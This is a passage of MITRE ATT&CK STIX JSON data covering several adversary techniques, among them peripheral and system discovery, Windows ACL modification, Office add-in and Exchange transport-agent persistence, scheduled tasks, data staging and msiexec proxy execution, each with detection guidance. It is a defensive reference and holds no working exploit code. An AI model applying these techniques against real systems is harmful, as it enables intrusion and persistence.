Creation"],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["Windows","macOS","Linux"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643","type":"attack-pattern","created":"2017-05-31T21:31:28.471Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1120","url":"https://attack.mitre.org/techniques/T1120"},{"external_id":"CAPEC-646","source_name":"capec","url":"https://capec.mitre.org/data/definitions/646.html"},{"source_name":"Peripheral Discovery Linux","url":"https://linuxhint.com/list-usb-devices-linux/","description":"Shahriar Shovon. (2018, March). List USB Devices Linux. Retrieved March 11, 2022."},{"source_name":"Peripheral Discovery macOS","url":"https://ss64.com/osx/system_profiler.html","description":"SS64. (n.d.). system_profiler. Retrieved March 11, 2022."}],"modified":"2022-03-11T18:39:11.763Z","name":"Peripheral Device Discovery","description":"Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system.(Citation: Peripheral Discovery Linux)(Citation: Peripheral Discovery macOS) Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"discovery"}],"x_mitre_detection":"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).","x_mitre_version":"1.3","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Process: Process Creation","Process: OS API Execution","Command: Command Execution"],"x_mitre_permissions_required":["User","Administrator","SYSTEM"]},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--34ab90a3-05f6-4259-8f21-621081fdaba5","type":"attack-pattern","created":"2020-10-02T15:49:03.815Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1590.004","url":"https://attack.mitre.org/techniques/T1590/004"},{"source_name":"DNS Dumpster","url":"https://dnsdumpster.com/","description":"Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020."}],"modified":"2021-04-15T03:33:02.476Z","name":"Network Topology","description":"Adversaries may gather information about the victim's network topology that can be used during targeting. Information about network topologies may include a variety of details, including the physical and/or logical arrangement of both external-facing and internal network environments. This information may also include specifics regarding network devices (gateways, routers, etc.) and other infrastructure.\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about network topologies may also be exposed to adversaries via online or other accessible data sets (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: DNS Dumpster) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"reconnaissance"}],"x_mitre_detection":"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[]},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--34b3f738-bd64-40e5-a112-29b0542bc8bf","type":"attack-pattern","created":"2020-10-01T01:41:08.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1587.002","url":"https://attack.mitre.org/techniques/T1587/002"},{"url":"https://en.wikipedia.org/wiki/Code_signing","description":"Wikipedia. (2015, November 10). Code Signing. Retrieved March 31, 2016.","source_name":"Wikipedia Code Signing"}],"modified":"2021-10-17T16:07:08.549Z","name":"Code Signing Certificates","description":"Adversaries may create self-signed code signing certificates that can be used during targeting. Code signing is the process of digitally signing executables and scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Code signing provides a level of authenticity for a program from the developer and a guarantee that the program has not been tampered with.(Citation: Wikipedia Code Signing) Users and/or security tools may trust a signed piece of code more than an unsigned piece of code even if they don't know who issued the certificate or who the author is.\n\nPrior to [Code Signing](https://attack.mitre.org/techniques/T1553/002), adversaries may develop self-signed code signing certificates for use in operations.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"resource-development"}],"x_mitre_detection":"Consider analyzing self-signed code signing certificates for features that may be associated with the adversary and/or their developers, such as the thumbprint, algorithm used, validity period, and common name. Malware repositories can also be used to identify additional samples associated with the adversary and identify patterns an adversary has used in crafting self-signed code signing certificates.\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related follow-on behavior, such as [Code Signing](https://attack.mitre.org/techniques/T1553/002) or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004).","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Malware Repository: Malware Metadata"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--34e793de-0274-4982-9c1a-246ed1c19dee","type":"attack-pattern","created":"2020-02-04T19:17:41.767Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1222.001","url":"https://attack.mitre.org/techniques/T1222/001"},{"url":"https://www.hybrid-analysis.com/sample/ef0d2628823e8e0a0de3b08b8eacaf41cf284c086a948bdfd67f4e4373c14e4d?environmentId=100","description":"Hybrid Analysis. (2018, June 12). c9b65b764985dfd7a11d3faf599c56b8.exe. Retrieved August 19, 2018.","source_name":"Hybrid Analysis Icacls1 June 2018"},{"url":"https://www.hybrid-analysis.com/sample/22dab012c3e20e3d9291bce14a2bfc448036d3b966c6e78167f4626f5f9e38d6?environmentId=110","description":"Hybrid Analysis. (2018, May 30). 2a8efbfadd798f6111340f7c1c956bee.dll. Retrieved August 19, 2018.","source_name":"Hybrid Analysis Icacls2 May 2018"},{"url":"https://docs.microsoft.com/windows/desktop/secauthz/dacls-and-aces","description":"Microsoft. (2018, May 30). DACLs and ACEs. Retrieved August 19, 2018.","source_name":"Microsoft DACL May 2018"},{"source_name":"Microsoft Access Control Lists May 2018","url":"https://docs.microsoft.com/en-us/windows/win32/secauthz/access-control-lists","description":"M. Satran, M. Jacobs. (2018, May 30). Access Control Lists. Retrieved February 4, 2020."},{"url":"https://www.eventtracker.com/tech-articles/monitoring-file-permission-changes-windows-security-log/","description":"Netsurion. (2014, February 19). Monitoring File Permission Changes with the Windows Security Log. Retrieved August 19, 2018.","source_name":"EventTracker File Permissions Feb 2014"}],"modified":"2020-09-01T20:05:05.268Z","name":"Windows File and Directory Permissions Modification","description":"Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).\n\nWindows implements file and directory ACLs as Discretionary Access Control Lists (DACLs).(Citation: Microsoft DACL May 2018) Similar to a standard ACL, DACLs identifies the accounts that are allowed or denied access to a securable object. When an attempt is made to access a securable object, the system checks the access control entries in the DACL in order. If a matching entry is found, access to the object is granted. Otherwise, access is denied.(Citation: Microsoft Access Control Lists May 2018)\n\nAdversaries can interact with the DACLs using built-in Windows commands, such as `icacls`, `cacls`, `takeown`, and `attrib`, which can grant adversaries higher permissions on specific files and folders. Further, [PowerShell](https://attack.mitre.org/techniques/T1059/001) provides cmdlets that can be used to retrieve or modify file and directory DACLs. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Accessibility Features](https://attack.mitre.org/techniques/T1546/008), [Boot or Logon Initialization Scripts](https://attack.mitre.org/techniques/T1037), or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Monitor and investigate attempts to modify DACLs and file/directory ownership. Many of the commands used to modify DACLs and file/directory ownership are built-in system utilities and may generate a high false positive alert rate, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible.\n\nConsider enabling file/directory permission change auditing on folders containing key binary/configuration files. For example, Windows Security Log events (Event ID 4670) are created when DACLs are modified.(Citation: EventTracker File Permissions Feb 2014)","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Command: Command Execution","File: File Metadata","Process: Process Creation","Active Directory: Active Directory Object Modification"],"x_mitre_permissions_required":["User","Administrator","SYSTEM"]},{"x_mitre_platforms":["Windows","Office 365"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--34f1d81d-fe88-4f97-bd3b-a3164536255d","type":"attack-pattern","created":"2019-11-07T19:52:52.801Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1137.006","url":"https://attack.mitre.org/techniques/T1137/006"},{"url":"https://support.office.com/article/Add-or-remove-add-ins-0af570c4-5cf3-4fa9-9b88-403625a0b460","description":"Microsoft. (n.d.). Add or remove add-ins. Retrieved July 3, 2017.","source_name":"Microsoft Office Add-ins"},{"url":"https://labs.mwrinfosecurity.com/blog/add-in-opportunities-for-office-persistence/","description":"Knowles, W. (2017, April 21). Add-In Opportunities for Office Persistence. Retrieved July 3, 2017.","source_name":"MRWLabs Office Persistence Add-ins"},{"source_name":"FireEye Mail CDS 2018","url":"https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s03-youve-got-mail.pdf","description":"Caban, D. and Hirani, M. (2018, October 3). You’ve Got Mail! Enterprise Email Compromise. Retrieved April 22, 2019."},{"source_name":"GlobalDotName Jun 2019","url":"https://www.221bluestreet.com/post/office-templates-and-globaldotname-a-stealthy-office-persistence-technique","description":"Shukrun, S. (2019, June 2). Office Templates and GlobalDotName - A Stealthy Office Persistence Technique. Retrieved August 26, 2019."}],"modified":"2021-08-16T21:26:09.296Z","name":"Add-ins","description":"Adversaries may abuse Microsoft Office add-ins to obtain persistence on a compromised system. Office add-ins can be used to add functionality to Office programs. (Citation: Microsoft Office Add-ins) There are different types of add-ins that can be used by the various Office products; including Word/Excel add-in Libraries (WLL/XLL), VBA add-ins, Office Component Object Model (COM) add-ins, automation add-ins, VBA Editor (VBE), Visual Studio Tools for Office (VSTO) add-ins, and Outlook add-ins. (Citation: MRWLabs Office Persistence Add-ins)(Citation: FireEye Mail CDS 2018)\n\nAdd-ins can be used to obtain persistence because they can be set to execute code when an Office application starts. ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_detection":"Monitor and validate the Office trusted locations on the file system and audit the Registry entries relevant for enabling add-ins.(Citation: GlobalDotName Jun 2019)(Citation: MRWLabs Office Persistence Add-ins)\n\nCollect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Process: Process Creation","Windows Registry: Windows Registry Key Creation","Windows Registry: Windows Registry Key Modification","Command: Command Execution","File: File Modification","File: File Creation"],"x_mitre_permissions_required":["Administrator","User"]},{"x_mitre_platforms":["Linux","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["ESET","Christoffer Strömblad"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--35187df2-31ed-43b6-a1f5-2f1d3d58d3f1","type":"attack-pattern","created":"2019-12-12T15:08:20.972Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1505.002","url":"https://attack.mitre.org/techniques/T1505/002"},{"source_name":"Microsoft TransportAgent Jun 2016","url":"https://docs.microsoft.com/en-us/exchange/transport-agents-exchange-2013-help","description":"Microsoft. (2016, June 1). Transport agents. Retrieved June 24, 2019."},{"source_name":"ESET LightNeuron May 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf","description":"Faou, M. (2019, May). Turla LightNeuron: One email away from remote code execution. Retrieved June 24, 2019."}],"modified":"2021-10-18T17:05:44.321Z","name":"Transport Agent","description":"Adversaries may abuse Microsoft transport agents to establish persistent access to systems. Microsoft Exchange transport agents can operate on email messages passing through the transport pipeline to perform various tasks such as filtering spam, filtering malicious attachments, journaling, or adding a corporate signature to the end of all outgoing emails.(Citation: Microsoft TransportAgent Jun 2016)(Citation: ESET LightNeuron May 2019) Transport agents can be written by application developers and then compiled to .NET assemblies that are subsequently registered with the Exchange server. Transport agents will be invoked during a specified stage of email processing and carry out developer defined tasks. \n\nAdversaries may register a malicious transport agent to provide a persistence mechanism in Exchange Server that can be triggered by adversary-specified email events.(Citation: ESET LightNeuron May 2019) Though a malicious transport agent may be invoked for all emails passing through the Exchange transport pipeline, the agent can be configured to only carry out specific tasks in response to adversary defined criteria. For example, the transport agent may only carry out an action like copying in-transit attachments and saving them for later exfiltration if the recipient email address matches an entry on a list provided by the adversary. ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_detection":"Consider monitoring application logs for abnormal behavior that may indicate suspicious installation of application software components. Consider monitoring file locations associated with the installation of new application software components such as paths from which applications typically load such extensible components.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Application Log: Application Log Content","File: File Creation"],"x_mitre_permissions_required":["SYSTEM","Administrator","root"]},{"x_mitre_platforms":["Windows","IaaS","Linux","macOS","Network"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Maril Vernon @shewhohacks","Praetorian","Austin Clark, @c2defense"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","created":"2017-05-31T21:31:04.307Z","x_mitre_version":"2.4","external_references":[{"source_name":"mitre-attack","external_id":"T1082","url":"https://attack.mitre.org/techniques/T1082"},{"source_name":"Amazon Describe Instance","url":"https://docs.aws.amazon.com/cli/latest/reference/ssm/describe-instance-information.html","description":"Amazon. (n.d.). describe-instance-information. Retrieved March 3, 2020."},{"source_name":"Google Instances Resource","url":"https://cloud.google.com/compute/docs/reference/rest/v1/instances","description":"Google. (n.d.). Rest Resource: instance. Retrieved March 3, 2020."},{"source_name":"Microsoft Virutal Machine API","url":"https://docs.microsoft.com/en-us/rest/api/compute/virtualmachines/get","description":"Microsoft. (2019, March 1). Virtual Machines - Get. Retrieved October 8, 2019."},{"source_name":"20 macOS Common Tools and Techniques","url":"https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/","description":"Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021."},{"source_name":"OSX.FairyTale","url":"https://www.sentinelone.com/blog/trail-osx-fairytale-adware-playing-malware/","description":"Phile Stokes. (2018, September 20). On the Trail of OSX.FairyTale | Adware Playing at Malware. Retrieved August 24, 2021."},{"source_name":"US-CERT-TA18-106A","url":"https://www.us-cert.gov/ncas/alerts/TA18-106A","description":"US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020."},{"url":"https://capec.mitre.org/data/definitions/312.html","source_name":"capec","external_id":"CAPEC-312"}],"x_mitre_deprecated":false,"revoked":false,"description":"An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from [System Information Discovery](https://attack.mitre.org/techniques/T1082) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nTools such as [Systeminfo](https://attack.mitre.org/software/S0096) can be used to gather detailed system information. If running with privileged access, a breakdown of system data can be gathered through the <code>systemsetup</code> configuration tool on macOS. As an example, adversaries with user-level access can execute the <code>df -aH</code> command to obtain currently mounted disks and associated freely available space. Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to gather detailed system information.(Citation: US-CERT-TA18-106A) [System Information Discovery](https://attack.mitre.org/techniques/T1082) combined with information gathered from other forms of discovery and reconnaissance can drive payload development and concealment.(Citation: OSX.FairyTale)(Citation: 20 macOS Common Tools and Techniques)\n\nInfrastructure as a Service (IaaS) cloud providers such as AWS, GCP, and Azure allow access to instance and virtual machine information via APIs. Successful authenticated API calls can return data such as the operating system platform and status of a particular instance or the model view of a virtual machine.(Citation: Amazon Describe Instance)(Citation: Google Instances Resource)(Citation: Microsoft Virutal Machine API)","modified":"2022-04-20T18:13:33.490Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"System Information Discovery","x_mitre_detection":"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Further, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands may also be used to gather  detailed system information with built-in features native to the network device platform.  Monitor CLI activity for unexpected or unauthorized use  commands being run by non-standard users from non-standard locations. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nIn cloud-based systems, native logging can be used to identify access to certain APIs and dashboards that may contain system information. Depending on how the environment is used, that data alone may not be useful due to benign use during normal operations.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"discovery"}],"x_mitre_is_subtechnique":false,"x_mitre_data_sources":["Process: OS API Execution","Instance: Instance Metadata","Command: Command Execution","Process: Process Creation"],"x_mitre_system_requirements":[],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6","type":"attack-pattern","created":"2017-05-31T21:30:56.776Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1071","url":"https://attack.mitre.org/techniques/T1071"},{"url":"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf","description":"Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.","source_name":"University of Birmingham C2"}],"modified":"2020-10-21T16:35:45.986Z","name":"Application Layer Protocol","description":"Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. \n\nAdversaries may utilize many different protocols, including those used for web browsing, transferring files, electronic mail, or DNS. For connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), commonly used protocols are SMB, SSH, or RDP. ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"command-and-control"}],"x_mitre_detection":"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol standards regarding syntax, structure, or any other variable adversaries could leverage to conceal data.(Citation: University of Birmingham C2)","x_mitre_version":"2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Network Traffic: Network Traffic Content","Network Traffic: Network Traffic Flow"]},{"x_mitre_platforms":["Windows","IaaS","Linux","macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Praetorian"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--359b00ad-9425-420b-bba5-6de8d600cbc0","type":"attack-pattern","created":"2020-03-13T21:14:58.206Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1074.002","url":"https://attack.mitre.org/techniques/T1074/002"},{"source_name":"Mandiant M-Trends 2020","url":"https://content.fireeye.com/m-trends/rpt-m-trends-2020","description":"Mandiant. (2020, February). M-Trends 2020. Retrieved April 24, 2020."}],"modified":"2021-03-08T10:33:02.019Z","name":"Remote Data Staging","description":"Adversaries may stage data collected from multiple systems in a central location or directory on one system prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as [Archive Collected Data](https://attack.mitre.org/techniques/T1560). Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location.\n\nIn cloud environments, adversaries may stage data within a particular instance or virtual machine before exfiltration. An adversary may [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002) and stage data in that instance.(Citation: Mandiant M-Trends 2020)\n\nBy staging data on one system prior to Exfiltration, adversaries can minimize the number of connections made to their C2 server and better evade detection.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"collection"}],"x_mitre_detection":"Processes that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files, such as 7zip, RAR, ZIP, or zlib. Monitor publicly writeable directories, central locations, and commonly used staging directories (recycle bin, temp folders, etc.) to regularly check for compressed or encrypted data that may be indicative of staging.\n\nMonitor processes and command-line arguments for actions that could be taken to collect and combine files. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Command: Command Execution","File: File Creation","File: File Access"]},{"x_mitre_platforms":["Windows","Linux","macOS","Containers"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Prashant Verma, Paladion","Leo Loobeek, @leoloobeek","Travis Smith, Tripwire","Alain Homewood, Insomnia Security","Andrew Northern, @ex_raritas","Bryan Campbell, @bry_campbell","Zachary Abzug, @ZackDoesML","Selena Larson, @selenalarson"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9","created":"2017-05-31T21:30:46.977Z","x_mitre_version":"2.2","external_references":[{"source_name":"mitre-attack","external_id":"T1053","url":"https://attack.mitre.org/techniques/T1053"},{"source_name":"ProofPoint Serpent","url":"https://www.proofpoint.com/us/blog/threat-insight/serpent-no-swiping-new-backdoor-targets-french-entities-unique-attack-chain","description":"Campbell, B. et al. (2022, March 21). Serpent, No Swiping! New Backdoor Targets French Entities with Unique Attack Chain. Retrieved April 11, 2022."},{"source_name":"TechNet Task Scheduler Security","url":"https://technet.microsoft.com/en-us/library/cc785125.aspx","description":"Microsoft. (2005, January 21). Task Scheduler and security. Retrieved June 8, 2016."},{"url":"https://capec.mitre.org/data/definitions/557.html","source_name":"capec","external_id":"CAPEC-557"}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.(Citation: TechNet Task Scheduler Security)\n\nAdversaries may use task scheduling to execute programs at system startup or on a scheduled basis for persistence. These mechanisms can also be abused to run a process under the context of a specified account (such as one with elevated permissions/privileges). Similar to [System Binary Proxy Execution](https://attack.mitre.org/techniques/T1218), adversaries have also abused task scheduling to potentially mask one-time execution under a trusted system process.(Citation: ProofPoint Serpent)","modified":"2022-04-14T20:59:52.686Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Scheduled Task/Job","x_mitre_detection":"Monitor scheduled task creation from common utilities using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. \n\nSuspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"execution"},{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_is_subtechnique":false,"x_mitre_data_sources":["Container: Container Creation","File: File Creation","Process: Process Creation","Command: Command Execution","File: File Modification","Scheduled Job: Scheduled Job Creation"],"x_mitre_system_requirements":[],"x_mitre_permissions_required":["Administrator","SYSTEM","User"],"x_mitre_effective_permissions":["SYSTEM","Administrator","User"],"x_mitre_remote_support":true,"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Ziv Kaspersky, Cymptom","Alexandros Pappas"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--365be77f-fc0e-42ee-bac8-4faf806d9336","created":"2020-01-24T14:38:49.266Z","x_mitre_version":"2.0","external_references":[{"source_name":"mitre-attack","external_id":"T1218.007","url":"https://attack.mitre.org/techniques/T1218/007"},{"source_name":"TrendMicro Msiexec Feb 2018","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/attack-using-windows-installer-msiexec-exe-leads-lokibot/","description":"Co, M. and Sison, G. (2018, February 8). Attack Using Windows Installer msiexec.exe leads to LokiBot. Retrieved April 18, 2019."},{"source_name":"LOLBAS Msiexec","url":"https://lolbas-project.github.io/lolbas/Binaries/Msiexec/","description":"LOLBAS. (n.d.). Msiexec.exe. Retrieved April 18, 2019."},{"source_name":"Microsoft msiexec","url":"https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/msiexec","description":"Microsoft. (2017, October 15). msiexec. Retrieved January 24, 2020."},{"source_name":"Microsoft AlwaysInstallElevated 2018","url":"https://docs.microsoft.com/en-us/windows/win32/msi/alwaysinstallelevated","description":"Microsoft. (2018, May 31). AlwaysInstallElevated. Retrieved December 14, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may abuse msiexec.exe to proxy execution of malicious payloads. Msiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi).(Citation: Microsoft msiexec) The Msiexec.exe binary may also be digitally signed by Microsoft.\n\nAdversaries may abuse msiexec.exe to launch local or network accessible MSI files. Msiexec.exe can also execute DLLs.(Citation: LOLBAS Msiexec)(Citation: TrendMicro Msiexec Feb 2018) Since it may be signed and native on Windows systems, msiexec.exe can be used to bypass application control solutions that do not account for its potential abuse. Msiexec.exe execution may also be elevated to SYSTEM privileges if the <code>AlwaysInstallElevated</code> policy is enabled.(Citation: Microsoft AlwaysInstallElevated 2018)","modified":"2022-04-19T17:33:16.346Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Msiexec","x_mitre_detection":"Use process monitoring to monitor the execution and arguments of msiexec.exe. Compare recent invocations of msiexec.exe with prior history of known good arguments and executed MSI files 